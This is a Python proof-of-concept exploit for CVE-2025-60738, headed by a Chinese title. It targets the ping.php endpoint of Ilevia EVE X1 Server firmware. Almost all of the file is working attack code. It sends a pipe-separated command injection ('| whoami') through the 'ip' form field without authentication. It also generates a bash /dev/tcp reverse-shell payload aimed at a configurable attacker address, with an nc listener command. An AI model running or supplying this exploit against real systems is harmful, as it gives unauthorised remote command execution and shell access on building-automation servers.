CVE-2025-60738 Ilevia EVE X1 Server ping.php 远程代码执行漏洞

import requests import sys # CVE-2025-60738 PoC - Ilevia EVE X1 Server RCE via ping.php # Target: Ilevia EVE X1 Server Firmware <= v4.7.18.0.eden # Vulnerability: Unauthenticated RCE via ping.php IP parameter injection def exploit(target_ip, target_port=80, attacker_ip='10.10.10.10', attacker_port=4444): """ Exploit CVE-2025-60738 by injecting OS commands into ping.php IP parameter. This PoC demonstrates RCE by executing a simple whoami command. For a full reverse shell, inject: bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 """ target_url = f"http://{target_ip}:{target_port}/ping.php" # RCE payload: inject 'whoami' command via pipe separator payload = f"| whoami" # POST data with vulnerable IP parameter data = { 'ip': payload, 'submit': 'Ping' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-60738-PoC)' } try: print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload}") print(f"[*] Sending exploit request...") response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check for command execution evidence in response if response.status_code == 200: print("[+] Exploit sent successfully. Check response for command output.") print("[*] Response preview:") print(response.text[:500]) else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True def reverse_shell_payload(attacker_ip, attacker_port): """ Generate a reverse shell payload for full RCE. Usage: Inject this as the IP parameter value. """ payload = f"| bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" print(f"[*] Reverse Shell Payload:") print(f" {payload}") print(f"[*] Start listener on attacker machine:") print(f" nc -lvnp {attacker_port}") return payload if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port] [attacker_ip] [attacker_port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 80 10.10.10.10 4444") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 attacker_ip = sys.argv[3] if len(sys.argv) > 3 else '10.10.10.10' attacker_port = int(sys.argv[4]) if len(sys.argv) > 4 else 4444 # Run basic RCE check exploit(target_ip, target_port, attacker_ip, attacker_port) # Show reverse shell payload print("\n[*] To get a reverse shell, use the following payload:") reverse_shell_payload(attacker_ip, attacker_port)